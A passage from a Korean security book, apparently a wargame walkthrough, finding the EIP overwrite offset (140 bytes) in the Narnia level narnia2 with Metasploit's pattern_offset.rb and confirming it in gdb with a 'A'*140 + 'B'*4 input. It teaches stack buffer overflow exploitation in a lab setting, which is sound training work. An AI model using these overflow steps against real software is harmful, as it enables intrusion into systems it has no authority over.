더북(TheBook)

출력 결과로 0x37654136이 나왔는데, 정확한 값을 찾으려면 원본 문자열을 살펴봐야 한다. 메타스플로이트의 pattern_offset.rb를 사용해 세그멘테이션 오류를 유발한 정확한 바이트 수를 찾을 수 있다.

# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb 0x37654136

[*] Exact match at offset 140

이 결과를 보면, EIP는 140글자 이후부터 제어할 수 있다. 이를 확인하려고 140바이트 입력 값으로 narnia2를 실행하면, 추가 4바이트로 EIP를 덮어쓸 수 있어야 한다. 디버거를 사용해 메모리 안에서 무슨 일이 벌어지는지 살펴보자.

처리 방법과 결과는 다음과 같다.

narnia2@melinda:~$ cd /narnia

narnia2@melinda:/narnia$ gdb ./narnia2 -q

Reading symbols from ./narnia2...(no debugging symbols found)...done.

(gdb) run `python -c 'print "A" * 140 + "B" * 4'`

Starting program: /games/narnia/narnia2 `python -c 'print "A" * 140 + "B" * 4'`

Program received signal SIGSEGV, Segmentation fault.

0x42424242 in ?? ()

(gdb) info registers

eax           0x0 0
ecx           0x0 0
edx           0xf7fcb898 -134432616
ebx           0xf7fca000 -134438912
esp           0xffffd650 0xffffd650
ebp           0x41414141 0x41414141
esi           0x0 0
edi           0x0 0
eip           0x42424242 0x42424242

신간 소식 구독하기
뉴스레터에 가입하시고 이메일로 신간 소식을 받아 보세요.